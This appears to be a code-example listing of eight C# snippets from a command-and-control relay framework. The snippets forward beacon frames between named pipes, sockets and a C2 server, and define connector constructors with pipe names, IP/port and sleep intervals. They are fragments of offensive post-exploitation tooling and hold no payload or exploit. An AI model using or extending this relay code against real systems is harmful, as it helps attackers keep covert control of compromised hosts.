Пример #1
0
        /// <summary>
        ///     Read a frame from the socket and send it to the beacon channel
        /// </summary>
        /// <param name="c2"></param>
        /// <returns></returns>
        public bool ReadAndSendTo(IC2Channel c2)
        {
            var buffer = ReadFrame();

            //if (buffer.Length <= 0) return false;
            c2.SendFrame(buffer);

            return(true);
        }
Пример #2
0
        /// <summary>
        ///     Reads a frame from the NamedPipe and sends it to the other C2 channel
        /// </summary>
        /// <param name="c2"></param>
        /// <returns>Whether the read/send were successful</returns>
        public bool ReadAndSendTo(IC2Channel c2)
        {
            var buffer = ReadFrame();

            if (buffer.Length <= 0)
            {
                return(false);
            }

            if (ExternalId == 0 && buffer.Length == 132)
            {
                ExtractId(buffer);
            }

            c2.SendFrame(buffer);

            return(true);
        }
Пример #3
0
 /// <summary>
 ///     Create a connector using the specified channels
 /// </summary>
 /// <param name="beaconChannel"></param>
 /// <param name="serverChannel"></param>
 protected BaseConnector(IC2Channel beaconChannel, IC2Channel serverChannel)
 {
     BeaconChannel = beaconChannel;
     ServerChannel = serverChannel;
 }
Пример #4
0
 /// <summary>
 ///     Creates a new BeaconConnector using the supplied IC2Channel for the ServerChannel. The BeaconChannel PipeName will
 ///     need to be manually set with SetPipeName()
 /// </summary>
 /// <param name="serverChannel"></param>
 protected BeaconConnector(IC2Channel serverChannel)
     : base(new BeaconChannel(), serverChannel)
 {
 }
Пример #5
0
 /// <summary>
 ///     Creates a new BeaconConnector using the pipeName for the BeaconChannel and the supplied IC2Channel for the
 ///     ServerChannel
 /// </summary>
 /// <param name="pipeName"></param>
 /// <param name="serverChannel"></param>
 protected BeaconConnector(Guid pipeName, IC2Channel serverChannel)
     : base(new BeaconChannel(pipeName), serverChannel)
 {
 }
Пример #6
0
 /// <summary>
 ///     Creates a new SocketConnector using the ipAddr and port for the ServerChannel
 ///     and the supplied IC2Channel for the BeaconChannel
 /// </summary>
 /// <param name="beaconChannel"></param>
 /// <param name="ipAddr"></param>
 /// <param name="port"></param>
 protected SocketConnector(IC2Channel beaconChannel, string ipAddr, string port)
     : base(beaconChannel, new SocketChannel(ipAddr, port))
 {
 }
Пример #7
0
 /// <summary>
 ///     Creates a new BeaconConnector using the supplied IC2Channel for the ServerChannel. The BeaconChannel PipeName will
 ///     need to be manually set with SetPipeName()
 /// </summary>
 /// <param name="serverChannel"></param>
 protected BeaconConnector(IC2Channel serverChannel, int sleep)
     : base(new BeaconChannel(), serverChannel, sleep)
 {
 }
Пример #8
0
 /// <summary>
 ///     Create a connector using the specified channels
 /// </summary>
 /// <param name="beaconChannel"></param>
 /// <param name="serverChannel"></param>
 /// <param name="sleep"></param>
 protected BaseConnector(IC2Channel beaconChannel, IC2Channel serverChannel, int sleep)
 {
     BeaconChannel = beaconChannel;
     ServerChannel = serverChannel;
     Sleep         = sleep;
 }